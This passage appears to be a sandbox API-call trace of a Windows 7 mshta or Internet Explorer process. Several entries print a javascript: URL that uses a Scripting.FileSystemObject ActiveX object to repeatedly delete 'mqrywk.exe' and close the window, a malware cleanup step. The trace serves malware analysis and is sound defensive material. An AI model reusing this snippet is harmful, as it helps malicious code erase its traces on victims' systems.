riid=0x73f155f8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x40f4e8 | out: ppvObject=0x40f4e8*=0x0) returned 0x80004002 [0033.106] FileSystemObject:IUnknown:QueryInterface (in: This=0x29d2fc0, riid=0x73f15608*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x40f4e4 | out: ppvObject=0x40f4e4*=0x0) returned 0x80004002 [0033.106] FileSystemObject:IUnknown:QueryInterface (in: This=0x29d2fc0, riid=0x73f15764*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x40f4e0 | out: ppvObject=0x40f4e0*=0x0) returned 0x80004002 [0033.106] FileSystemObject:IUnknown:QueryInterface (in: This=0x29d2fc0, riid=0x73f15710*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x40f4dc | out: ppvObject=0x40f4dc*=0x29d2fc0) returned 0x0 [0033.106] FileSystemObject:IUnknown:Release (This=0x29d2fc0) returned 0x1 [0033.106] GetCurrentThreadId () returned 0x10c [0033.106] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.106] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.106] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x79e010 [0033.106] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x128) returned 0x7b3b30 [0033.107] malloc (_Size=0x204) returned 0x29d1280 [0033.107] ??2@YAPAXI@Z () returned 0x29d1490 [0033.108] ??2@YAPAXI@Z () returned 0x29d1510 [0033.108] GetCurrentThreadId () returned 0x10c [0033.108] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.108] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x79e058 [0033.110] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0033.110] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x18) returned 0x7ac6d0 [0033.110] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b37d8 [0033.110] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x79e0a0 [0033.110] SetTimer (hWnd=0x3026c, nIDEvent=0x2000, uElapse=0xa, lpTimerFunc=0x0) returned 0x2000 [0033.110] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x769d0000 [0033.110] GetProcAddress (hModule=0x769d0000, lpProcName="VariantClear") returned 0x769d3eae [0033.112] GetCurrentThreadId () returned 0x10c [0033.112] GetCurrentThreadId () returned 0x10c [0033.112] ISystemDebugEventFire:IsActive (This=0x79dea8) returned 0x1 [0033.112] ??3@YAXPAX@Z () returned 0x1 [0033.113] free (_Block=0x29d11b0) [0033.113] GetCurrentThreadId () returned 0x10c [0033.113] GetCurrentThreadId () returned 0x10c [0033.117] GetProcAddress (hModule=0x769d0000, lpProcName=0x93) returned 0x769d4c28 [0033.117] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7ac6f0 [0033.117] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b37f0 [0033.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7885789", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.117] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x9) returned 0x7b3808 [0033.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7885789", cchWideChar=-1, lpMultiByteStr=0x7b3808, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7885789", lpUsedDefaultChar=0x0) returned 8 [0033.117] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7ac710 [0033.117] GetProcessHeap () returned 0x750000 [0033.117] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x7a1390 [0033.117] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b37f0 | out: hHeap=0x750000) returned 1 [0033.117] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b3808 | out: hHeap=0x750000) returned 1 [0033.117] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b1f38 | out: hHeap=0x750000) returned 1 [0033.118] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac6f0 | out: hHeap=0x750000) returned 1 [0033.328] IInternetProtocol:Read (in: This=0x7943dc, pv=0x794468, cb=0x800, pcbRead=0x40f9dc | out: pv=0x794468, pcbRead=0x40f9dc*=0x8) returned 0x0 [0033.328] IInternetProtocol:Read (in: This=0x7943dc, pv=0x794470, cb=0x7f8, pcbRead=0x40f9dc | out: pv=0x794470, pcbRead=0x40f9dc*=0x0) returned 0x1 [0033.332] IBindStatusCallback:OnProgress (This=0x7934a8, ulProgress=0x0, ulProgressMax=0x0, ulStatusCode=0xd, szStatusText="text/html") returned 0x0 [0033.333] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.WINSOCK_ACTIVITY") returned 0xc0fd [0033.333] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.SET_CONNECTOID_NAME") returned 0xc103 [0033.333] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.IEXPLORER_EXITING") returned 0xc102 [0033.333] FindWindowW (lpClassName="MS_AutodialMonitor", lpWindowName=0x0) returned 0x0 [0033.333] FindWindowW (lpClassName="MS_WebCheckMonitor", lpWindowName=0x0) returned 0x10164 [0033.334] PostMessageW (hWnd=0x10164, Msg=0xc0fd, wParam=0x0, lParam=0x0) returned 1 [0033.334] IBindCtx:GetObjectParam (in: This=0x790840, pszKey="__DWNBINDINFO", ppunk=0x40f904 | out: ppunk=0x40f904*=0x0) returned 0x80004005 [0033.334] RegisterClipboardFormatA (lpszFormat="text/html") returned 0xc16b [0033.334] RegisterClipboardFormatA (lpszFormat="text/plain") returned 0xc16a [0033.334] RegisterClipboardFormatA (lpszFormat="text/x-component") returned 0xc18f [0033.334] RegisterClipboardFormatA (lpszFormat="image/gif") returned 0xc175 [0033.334] RegisterClipboardFormatA (lpszFormat="image/jpeg") returned 0xc177 [0033.334] RegisterClipboardFormatA (lpszFormat="image/pjpeg") returned 0xc176 [0033.334] RegisterClipboardFormatA (lpszFormat="image/bmp") returned 0xc17b [0033.334] RegisterClipboardFormatA (lpszFormat="image/x-jg") returned 0xc17c [0033.334] RegisterClipboardFormatA (lpszFormat="image/x-art") returned 0xc17d [0033.334] RegisterClipboardFormatA (lpszFormat="image/x-wmf") returned 0xc17f [0033.335] RegisterClipboardFormatA (lpszFormat="image/x-emf") returned 0xc17e [0033.335] RegisterClipboardFormatA (lpszFormat="video/avi") returned 0xc181 [0033.335] RegisterClipboardFormatA (lpszFormat="video/x-msvideo") returned 0xc182 [0033.335] RegisterClipboardFormatA (lpszFormat="video/mpeg") returned 0xc183 [0033.335] RegisterClipboardFormatA (lpszFormat="video/quicktime") returned 0xc190 [0033.335] RegisterClipboardFormatA (lpszFormat="application/hta") returned 0xc191 [0033.335] RegisterClipboardFormatA (lpszFormat="image/x-png") returned 0xc179 [0033.335] RegisterClipboardFormatA (lpszFormat="image/png") returned 0xc17a [0033.335] RegisterClipboardFormatA (lpszFormat="image/x-icon") returned 0xc180 [0033.335] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x18) returned 0x7ac770 [0033.335] StrCmpICW (pszStr1="text/html", pszStr2="text/xml") returned -16 [0033.335] StrCmpNICW (lpStr1="text/htm", lpStr2="text/css", nChar=8) returned 5 [0033.335] IInternetProtocol:Read (in: This=0x7943dc, pv=0x795a90, cb=0x1ff8, pcbRead=0x40faf8 | out: pv=0x795a90, pcbRead=0x40faf8*=0x0) returned 0x1 [0033.335] IBindStatusCallback:OnProgress (This=0x7934a8, ulProgress=0x8, ulProgressMax=0x8, ulStatusCode=0x4, szStatusText="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0033.335] GetCurrentThreadId () returned 0x10c [0033.335] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x118) returned 0x797bd0 [0033.335] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.335] MulDiv (nNumber=8, nNumerator=4000, nDenominator=8) returned 4000 [0033.335] PostMessageW (hWnd=0x3026c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0033.335] IUnknown:QueryInterface (in: This=0x795508, riid=0x734c9460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40fa98 | out: ppvObject=0x40fa98*=0x0) returned 0x80004002 [0033.336] IUnknown:QueryInterface (in: This=0x7943c8, riid=0x734c9460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40fa84 | out: ppvObject=0x40fa84*=0x0) returned 0x80004002 [0033.336] IBindStatusCallback:OnProgress (This=0x7934a8, ulProgress=0x8, ulProgressMax=0x8, ulStatusCode=0x6, szStatusText="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);") returned 0x0 [0033.336] GetCurrentThreadId () returned 0x10c [0033.336] IInternetProtocol:LockRequest (This=0x7943dc, dwOptions=0x0) returned 0x0 [0033.336] IBindStatusCallback:RemoteOnDataAvailable (This=0x7934a8, grfBSCF=0x5, dwSize=0x8, pformatetc=0x793f44, pstgmed=0x77b968) returned 0x0 [0033.336] IUnknown:QueryInterface (in: This=0x795508, riid=0x734c9460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40e6a0 | out: ppvObject=0x40e6a0*=0x0) returned 0x80004002 [0033.336] IUnknown:QueryInterface (in: This=0x7943c8, riid=0x734c9460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40e658 | out: ppvObject=0x40e658*=0x0) returned 0x80004002 [0033.336] IUnknown:QueryInterface (in: This=0x795508, riid=0x73444588*(Data1=0x79eac9d6, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40e698 | out: ppvObject=0x40e698*=0x0) returned 0x80004002 [0033.336] IUnknown:QueryInterface (in: This=0x7943c8, riid=0x73444588*(Data1=0x79eac9d6, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40e658 | out: ppvObject=0x40e658*=0x0) returned 0x80004002 [0033.336] GetCurrentThreadId () returned 0x10c [0033.336] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x11c) returned 0x7b7320 [0033.336] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x128) returned 0x7b7448 [0033.336] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b3820 [0033.338] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="text/html", cchCount1=7, lpString2="charset", cchCount2=7) returned 3 [0033.338] GetCurrentThreadId () returned 0x10c [0033.338] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x200c) returned 0x7b7578 [0033.339] IInternetProtocol:Read (in: This=0x7943dc, pv=0x7b758c, cb=0x1ff8, pcbRead=0x40f9b4 | out: pv=0x7b758c, pcbRead=0x40f9b4*=0x0) returned 0x1 [0033.339] IInternetProtocol:Read (in: This=0x7943dc, pv=0x7b758c, cb=0x1ff8, pcbRead=0x40f9b4 | out: pv=0x7b758c, pcbRead=0x40f9b4*=0x0) returned 0x1 [0033.339] GetCurrentThreadId () returned 0x10c [0033.339] GetCurrentThreadId () returned 0x10c [0033.339] SetEvent (hEvent=0x17c) returned 1 [0033.340] IBindStatusCallback:OnStopBinding (This=0x7934a8, hresult=0x0, szError=0x0) returned 0x0 [0033.340] StrCmpICW (pszStr1="text/html", pszStr2="text/xml") returned -16 [0033.340] IBinding:RemoteGetBindResult (in: This=0x795508, pclsidProtocol=0x40fad0, pdwResult=0x40fac0, pszResult=0x40fab4, dwReserved=0x0 | out: pclsidProtocol=0x40fad0, pdwResult=0x40fac0*=0x0, pszResult=0x40fab4*=0x0) returned 0x0 [0033.340] IUri:GetScheme (in: This=0x77c6ac, pdwScheme=0x40facc | out: pdwScheme=0x40facc*=0xf) returned 0x0 [0033.342] GetCurrentThreadId () returned 0x10c [0033.342] GetCurrentThreadId () returned 0x10c [0033.342] SetEvent (hEvent=0x17c) returned 1 [0033.342] CoTaskMemFree (pv=0x0) [0033.342] IInternetProtocolRoot:Terminate (This=0x7943dc, dwOptions=0x0) returned 0x0 [0033.342] IUnknown:Release (This=0x795670) returned 0x4 [0033.342] ReleaseBindInfo (pbindinfo=0x794400) [0033.342] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.343] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.343] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.343] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0033.343] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0033.343] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0033.343] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x40e4c4 | out: ppURI=0x40e4c4*=0x77c424) returned 0x0 [0033.343] IUnknown:QueryInterface (in: This=0x77c424, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40e49c | out: ppvObject=0x40e49c*=0x77c424) returned 0x0 [0033.343] IUnknown:Release (This=0x77c424) returned 0x4 [0033.343] IUnknown:AddRef (This=0x77c424) returned 0x5 [0033.343] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x118) returned 0x797cf8 [0033.343] IUnknown:Release (This=0x77c424) returned 0x4 [0033.343] IUnknown:Release (This=0x77c424) returned 0x3 [0033.343] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100) returned 0x7ba6b0 [0033.344] FindResourceW (hModule=0x72760000, lpName=0x1fe, lpType=0x6) returned 0x2d884d0 [0033.344] LoadResource (hModule=0x72760000, hResInfo=0x2d884d0) returned 0x2dae53c [0033.344] LockResource (hResData=0x2dae53c) returned 0x2dae53c [0033.344] VirtualQuery (in: lpAddress=0x2dae53c, lpBuffer=0x40f66c, dwLength=0x1c | out: lpBuffer=0x40f66c*(BaseAddress=0x2dae000, AllocationBase=0x2ad0000, AllocationProtect=0x2, RegionSize=0x115000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0033.344] SizeofResource (hModule=0x72760000, hResInfo=0x2d884d0) returned 0xe6 [0033.345] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x200) returned 0x7ba7b8 [0033.345] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ba6b0 | out: hHeap=0x750000) returned 1 [0033.345] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x797cf8 | out: hHeap=0x750000) returned 1 [0033.345] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7ba7b8, Size=0x136) returned 0x7ba7b8 [0033.345] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x13a) returned 0x7ba8f8 [0033.345] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ppu=0x40f828 | out: ppu=0x40f828) returned 0x0 [0033.345] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.345] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.345] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.346] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x28) returned 0x7939c8 [0033.346] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78fe70 [0033.346] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b3838 [0033.346] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x28) returned 0x7939f8 [0033.346] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78fec8 [0033.346] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x68) returned 0x7a2b48 [0033.346] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x79cee8 [0033.346] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78ff20 [0033.346] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a2b48 | out: hHeap=0x750000) returned 1 [0033.346] GetSystemDefaultLCID () returned 0x409 [0033.346] GetVersionExW (in: lpVersionInformation=0x40f6f8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x738896a4, dwMinorVersion=0x0, dwBuildNumber=0x783f90, dwPlatformId=0x750000, szCSDVersion="⭀z") | out: lpVersionInformation=0x40f6f8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0033.346] GetKeyboardLayoutList (in: nBuff=32, lpList=0x40f678 | out: lpList=0x40f678) returned 1 [0033.346] GetSystemMetrics (nIndex=4096) returned 0 [0033.346] RegisterClipboardFormatA (lpszFormat="HTML Format") returned 0xc0d4 [0033.346] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0b9 [0033.346] RegisterClipboardFormatA (lpszFormat="RTF As Text") returned 0xc0bc [0033.346] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptor") returned 0xc0cf [0033.347] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptorW") returned 0xc0d0 [0033.347] RegisterClipboardFormatW (lpszFormat="FileContents") returned 0xc0ce [0033.347] RegisterClipboardFormatW (lpszFormat="Shell IDList Array") returned 0xc07a [0033.347] RegisterClipboardFormatW (lpszFormat="UniformResourceLocator") returned 0xc0d8 [0033.347] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x2c) returned 0x79ceb0 [0033.347] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x4c) returned 0x78ff78 [0033.347] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x64) returned 0x7a2b48 [0033.347] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x24) returned 0x793a28 [0033.347] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a2b48 | out: hHeap=0x750000) returned 1 [0033.347] SetTimer (hWnd=0x30266, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0033.347] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.347] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b3850 [0033.347] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d920 | out: hHeap=0x750000) returned 1 [0033.347] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b638 | out: hHeap=0x750000) returned 1 [0033.347] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x78ffd0 [0033.347] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ffd0 | out: hHeap=0x750000) returned 1 [0033.347] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.347] IUnknown:AddRef (This=0x77c424) returned 0x4 [0033.347] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pdwZone=0x40f7e4, dwFlags=0x0 | out: pdwZone=0x40f7e4*=0xffffffff) returned 0x800c0011 [0033.347] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0033.347] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0033.347] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0033.347] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", dwAction=0x2106, pPolicy=0x40f7e8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x40f7e8*=0x0) returned 0x0 [0033.348] IUnknown:Release (This=0x77c424) returned 0x3 [0033.348] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x78ffd0 [0033.348] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ffd0 | out: hHeap=0x750000) returned 1 [0033.348] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.348] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x78ffd0 [0033.348] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ffd0 | out: hHeap=0x750000) returned 1 [0033.348] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.348] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x50) returned 0x78ffd0 [0033.348] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ffd0 | out: hHeap=0x750000) returned 1 [0033.348] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.348] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x100) returned 0x7ba6b0 [0033.348] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.349] RedrawWindow (hWnd=0x30266, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0xa1) returned 1 [0033.349] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b3838 | out: hHeap=0x750000) returned 1 [0033.349] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78a818, Size=0x22) returned 0x78a818 [0033.349] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.349] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77cad8 | out: hHeap=0x750000) returned 1 [0033.349] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b3850 | out: hHeap=0x750000) returned 1 [0033.349] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793178 | out: hHeap=0x750000) returned 1 [0033.349] GetCurrentThreadId () returned 0x10c [0033.349] IUnknown:Release (This=0x795508) returned 0x0 [0033.350] IInternetProtocol:UnlockRequest (This=0x7943dc) returned 0x0 [0033.350] IUnknown:Release (This=0x7943c8) returned 0x0 [0033.350] GetProcessHeap () returned 0x750000 [0033.350] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a1390 | out: hHeap=0x750000) returned 1 [0033.350] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac710 | out: hHeap=0x750000) returned 1 [0033.350] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794c70 | out: hHeap=0x750000) returned 1 [0033.350] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7943c8 | out: hHeap=0x750000) returned 1 [0033.350] RevokeBindStatusCallback (pBC=0x790840, pBSCb=0x7934a8) returned 0x0 [0033.350] IUnknown:Release (This=0x7934ac) returned 0x4 [0033.350] IUnknown:Release (This=0x7934a8) returned 0x3 [0033.350] IUnknown:Release (This=0x790840) returned 0x0 [0033.350] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b608 | out: hHeap=0x750000) returned 1 [0033.350] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x780158 | out: hHeap=0x750000) returned 1 [0033.350] IUnknown:Release (This=0x77c6ac) returned 0xa [0033.351] IUnknown:Release (This=0x77c6ac) returned 0x9 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b9590 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794d98 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] IUnknown:Release (This=0x77c6ac) returned 0x8 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] IUnknown:Release (This=0x77c6ac) returned 0x7 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b7578 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f9f8 | out: hHeap=0x750000) returned 1 [0033.351] IUnknown:Release (This=0x77c6ac) returned 0x6 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.351] IUnknown:Release (This=0x77c6ac) returned 0x5 [0033.351] HeapFree (in: hHeap=0x750000, dwFlags=0x0, 